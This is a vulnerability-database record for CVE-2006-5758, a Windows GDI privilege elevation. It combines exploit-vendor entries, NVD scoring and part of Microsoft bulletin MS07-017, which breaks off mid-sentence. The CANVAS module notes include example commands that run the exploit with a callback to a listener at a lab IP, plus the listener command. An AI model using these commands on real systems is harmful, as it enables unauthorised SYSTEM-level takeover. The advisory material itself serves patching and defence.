The Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions.
Problem
Users with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges.
This exploit will elevate the priviliges of the current connection to SYSTEM.
Platforms
Windows 2000 / Windows XP
{"id": "SAINT:EE93369BDFA38725F9A1D44FA8DC8D1E", "vendorId": null, "type": "saint", "bulletinFamily": "exploit", "title": "Windows GDI Privilege Elevation", "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "published": "2009-05-25T00:00:00", "modified": "2009-05-25T00:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": true, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "href": "https://download.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "reporter": "SAINT Corporation", "references": [], "cvelist": ["CVE-2006-5758"], "immutableFields": [], "lastseen": "2022-01-26T11:33:36", "viewCount": 5, "enchantments": {"dependencies": {"references": [{"type": "canvas", "idList": ["GDIWRITE4"]}, {"type": "cve", "idList": ["CVE-2006-5758"]}, {"type": "mskb", "idList": ["KB925902"]}, {"type": "nessus", "idList": ["SMB_NT_MS07-017.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:102055", "OPENVAS:1361412562310102055"]}, {"type": "saint", "idList": ["SAINT:2E9567F8A64B2B21D9641C36E3ACBF8F", "SAINT:67A661F4F4DA6EA02D0983D05D3791BF", "SAINT:958585E4475A4084F4758A67ABFEAE9E"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:16563", "SECURITYVULNS:VULN:7529"]}]}, "score": {"value": 7.5, "vector": "NONE"}, "backreferences": {"references": [{"type": "canvas", "idList": ["GDIWRITE4"]}, {"type": "cve", "idList": ["CVE-2006-5758"]}, {"type": "openvas", "idList": ["OPENVAS:102055"]}, {"type": "saint", "idList": ["SAINT:2E9567F8A64B2B21D9641C36E3ACBF8F"]}]}, "exploitation": null, "vulnersScore": 7.5}, "_state": {"dependencies": 1647589307, "score": 0}}
{"cve": [{"lastseen": "2022-03-23T16:47:02", "description": "The Graphics Rendering Engine in Microsoft Windows 2000 through 2000 SP4 and Windows XP through SP2 maps GDI Kernel structures on a global shared memory section that is mapped with read-only permissions, but can be remapped by other processes as read-write, which allows local users to cause a denial of service (memory corruption and crash) and gain privileges by modifying the kernel structures.", "cvss3": {}, "published": "2006-11-06T20:07:00", "type": "cve", "title": "CVE-2006-5758", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-5758"], "modified": "2018-10-17T21:44:00", "cpe": ["cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2006-5758", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5758", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*"]}], "saint": [{"lastseen": "2016-10-03T15:01:59", "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "cvss3": {}, "published": "2009-05-25T00:00:00", "type": "saint", "title": "Windows GDI Privilege Elevation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2006-5758"], "modified": "2009-05-25T00:00:00", "id": "SAINT:2E9567F8A64B2B21D9641C36E3ACBF8F", "href": "http://www.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-07-29T16:40:32", "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "cvss3": {}, "published": "2009-05-25T00:00:00", "type": "saint", "title": "Windows GDI Privilege Elevation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-5758"], "modified": "2009-05-25T00:00:00", "id": "SAINT:958585E4475A4084F4758A67ABFEAE9E", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:33:20", "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "cvss3": {}, "published": "2009-05-25T00:00:00", "type": "saint", "title": "Windows GDI Privilege Elevation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-5758"], "modified": "2009-05-25T00:00:00", "id": "SAINT:67A661F4F4DA6EA02D0983D05D3791BF", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "canvas": [{"lastseen": "2021-07-28T14:33:36", "edition": 3, "description": "**Name**| GDIWrite4 \n---|--- \n**CVE**| CVE-2006-5758 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| GDIWrite4 (MS07-017) \n**Notes**| CVE Name: CVE-2006-5758 \nVENDOR: Microsoft \nNotes: \n \nThis exploit will auto-target based on reading a kernel file on Windows 2000 \nor XP. It will generate a target fingerprint when you run the auto-targeter - \nthis is useful when you don't have read access to the kernel files and still want \nto run the exploit. It will leave a SYSTEM token as your current token, if it succeeds \n \n#example commandline usage on Windows 2000 SP4 English \n#we set our callback IP to 10.10.10.6 in the test lab \nrunmodule GDIWrite4 -l 10.10.10.6 -d 5555 \n \nMake sure you have a listener listening already before you run the above \ncommand. \n./commandlineInterface -v 1 -p 5555 \n \nIf you get the wrong version, (-v 1 on an XP box, say) you'll see a PAGE FAULT \nIN NON PAGED AREA bluescreen. \n \nOn XP this was fixed with KB925902 \n \nMSRC: http://www.microsoft.com/technet/security/Bulletin/ms07-017.mspx \nMSADV: MS07-017 \nDate public: 11/06/2006 \nCVE Url: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758 \nCVSS: 7.2 \n\n", "cvss3": {}, "published": "2006-11-06T20:07:00", "type": "canvas", "title": "Immunity Canvas: GDIWRITE4", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-5758"], "modified": "2006-11-06T20:07:00", "id": "GDIWRITE4", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/GDIWrite4", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "securityvulns": [{"lastseen": "2018-08-31T11:10:21", "description": "Microsoft Security Bulletin MS07-017\r\nVulnerabilities in GDI Could Allow Remote Code Execution (925902)\r\nPublished: April 3, 2007\r\n\r\nVersion: 1.0\r\nSummary\r\n\r\nWho Should Read this Document: Customers who use Microsoft Windows\r\n\r\nImpact of Vulnerability: Remote Code Execution\r\n\r\nMaximum Severity Rating: Critical\r\n\r\nRecommendation: Customers should apply the update immediately\r\n\r\nSecurity Update Replacement: This bulletin replaces a prior security update. See the Frequently Asked Questions (FAQ) section of this bulletin for details.\r\n\r\nCaveats: Microsoft Knowledge Base Article 925902 documents the currently known issues that customers may experience when they install this security update. The article also documents recommended solutions for these issues. For more information, see Microsoft Knowledge Base Article 925902\r\n\r\nTested Software and Security Update Download Locations:\r\n\r\nAffected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 2000 Service Pack 4 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003, Microsoft Windows Server 2003 Service Pack 1, and Microsoft Windows Server 2003 Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems, Microsoft Windows Server 2003 with SP1 for Itanium-based Systems, and Microsoft Windows Server 2003 with SP2 for Itanium-based Systems \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nWindows Vista \u2014 Download the update\r\n\u2022\t\r\n\r\nWindows Vista x64 Edition \u2014 Download the update\r\n\r\nThe software in this list has been tested to determine whether the versions are affected. Other versions are either past their support life cycle or are not affected. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\nTop of sectionTop of section\r\nGeneral Information\r\n\t\r\nExecutive Summary\r\n\r\nExecutive Summary:\r\n\r\nThis update resolves several newly discovered, publicly disclosed and privately reported vulnerabilities as well as additional issues discovered through internal investigations. Each vulnerability is documented in its own subsection in the Vulnerability Details section of this bulletin.\r\n\r\nAn attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nNote The Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038 is currently being exploited and was previously discussed by Microsoft Security Advisory 935423.\r\n\r\nSeverity Ratings and Vulnerability Identifiers:\r\nVulnerability Identifiers\tImpact of Vulnerability\tWindows 2000 Service Pack 4\tWindows XP Service Pack 2\tWindows Server 2003, Windows Server 2003 Service Pack 1, and Windows Server 2003 Service Pack 2\tWindows Vista\r\n\r\nGDI Local Elevation of Privilege Vulnerability - CVE-2006-5758\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nWMF Denial of Service Vulnerability CVE-2007-1211\r\n\t\r\n\r\nDenial of Service\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nNot Affected\r\n\r\nEMF Elevation of Privilege Vulnerability CVE-2007-1212\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nGDI Invalid Window Size Elevation of Privilege Vulnerability CVE-2006-5586\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nWindows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nGDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nFont Rasterizer Vulnerability - CVE-2007-1213\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nAggregate Severity of All Vulnerabilities\r\n\t\r\n\r\n \r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nThis assessment is based on the types of systems that are affected by the vulnerability, their typical deployment patterns, and the effect that exploiting the vulnerability would have on them.\r\n\r\nNote The severity ratings for non-x86 operating system versions map to the x86 operating system versions as follows:\r\n\u2022\t\r\n\r\nThe Windows XP Professional x64 Edition and Windows XP Professional x64 Edition Service Pack 2 severity ratings are the same as the Windows XP Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 with SP1 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 with SP2 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 x64 Edition severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 x64 Edition Service Pack 2 severity rating is the same as the Windows Server 2003 Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Vista x64 Edition severity rating is the same as the Windows Vista severity rating.\r\nTop of sectionTop of section\r\n\t\r\nFrequently Asked Questions (FAQ) Related to This Security Update\r\n\r\nWhy does this update address several reported security vulnerabilities? \r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers can install only this update.\r\n\r\nWhat updates does this release replace? \r\nThis security update replaces a prior security update. The security bulletin ID and affected operating systems are listed in the following table.\r\nBulletin ID\tWindows 2000 Service Pack 4\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2\tWindows Vista\r\n\r\nMS06-001\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-053\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-002\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nNot Applicable\r\n\r\nI am using an older version of the software discussed in this security bulletin; what should I do? \r\nThesupported software called out under in this bulletin has been tested to determine whether the versions are affected. Other versions are past their support life cycle. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\n\r\nIt should be a priority for customers who have older versions of the software to migrate to supported versions to prevent potential exposure to vulnerabilities. For more information about the Windows Product Lifecycle, visit the following Microsoft Support Lifecycle Web site. For more information about the extended security update support period for these operating system versions, visit the Microsoft Product Support Services Web site.\r\n\r\nCustomers who require custom support for older software must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager. For more information, see the Windows Operating System Product Support Lifecycle FAQ.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer (MBSA) to determine whether this update is required?\r\nThe following table provides the MBSA detection summary for this security update.\r\nProduct\tMBSA 1.2.1\tMBSA 2.0.1\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 Service Pack 1 and Microsoft Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems with Service Pack 2 and Microsoft Windows Server 2003 with Service Pack 2 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nWindows Vista\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nSee Note for Windows Vista below\r\n\r\nWindows Vista x64 Edition\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nSee Note for Windows Vista below\r\n\r\nFor more information about MBSA, visit the MBSA Web site. For more information about the software that Microsoft Update and MBSA 2.0 currently do not detect, see Microsoft Knowledge Base Article 895660.\r\n\r\nNote for Windows Vista MBSA 2.0.1 is not supported on Windows Vista but supports remote scans of computers running Windows Vista. For additional information about MBSA support for Windows Vista, visit the MBSA Web site. See also Microsoft Knowledge Base Article 931943: Microsoft Baseline Security Analyzer (MBSA) support for Windows Vista.\r\n\r\nFor more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.\r\n\r\nCan I use Systems Management Server (SMS) to determine whether this update is required?\r\nThe following table provides the SMS detection summary for this security update.\r\nProduct\tSMS 2.0\tSMS 2003\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003, Microsoft Windows Server 2003 Service Pack 1, and Microsoft Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems, Microsoft Windows Server 2003 with Service Pack 1 for Itanium-based Systems, and Microsoft Windows Server 2003 with Service Pack 2 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nSMS 2.0 and SMS 2003 Software Update Services (SUS) Feature Pack can use MBSA 1.2.1 for detection and therefore have the same limitation that is listed earlier in this bulletin related to programs that MBSA 1.2.1 does not detect.\r\n\r\nFor more information about SMS, visit the SMS Web site.\r\n\r\nFor more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.\r\nTop of sectionTop of section\r\n\t\r\nVulnerability Details\r\n\t\r\nGDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nA privilege elevation vulnerability exists in the Graphics Rendering Engine in the way that it starts applications. This vulnerability could allow a logged on user to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\u2022\t\r\n\r\nAn attacker must be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability? \r\nThe vulnerability is caused by the incorrect handling of memory reserved for the Windows kernel by the Windows Graphics Rendering Engine when processing WMF and EMF file types.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then try to execute a program that runs as a regular user that could exploit this vulnerability and take complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet? \r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update removes the vulnerability by modifying the way the handle is created.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. While the initial report was provided through responsible disclosure, the vulnerability was later disclosed publicly by the same security researcher. It has been assigned Common Vulnerability and Exposure number CVE-2006-5758. It also has been named GDI Kernel Local Elevation of Privilege Vulnerability by the larger security community. This security bulletin addresses the publicly disclosed vulnerability as well as additional issues discovered through internal investigations.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had seen examples of proof of concept code published publicly but had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability? \r\nYes. This security update addresses the vulnerability that potentially could be exploited by using the published proof of concept code. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CVE-2006-5758.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nA denial of service vulnerability exists in Windows when rendering Windows Metafile (WMF) image format files. An attacker who successfully exploited this vulnerability could cause the affected system to stop responding and possibly restart.\r\n\t\r\nMitigating Factors for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's Web site. After they click the link, they would be prompted to perform several actions. An attack could only occur after they performed these actions.\r\n\u2022\t\r\n\r\nThe vulnerability could be exploited by an attacker who convinced a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an e-mail message.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 Service Pack 3 or a later version, or Outlook Express 6 SP1 or a later version, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nCustomers using Microsoft Outlook 2002 Service Pack 3 and Microsoft Outlook Express 6 Service Pack 1 or later versions can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor more information about how to enable this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a denial of service vulnerability. An attacker 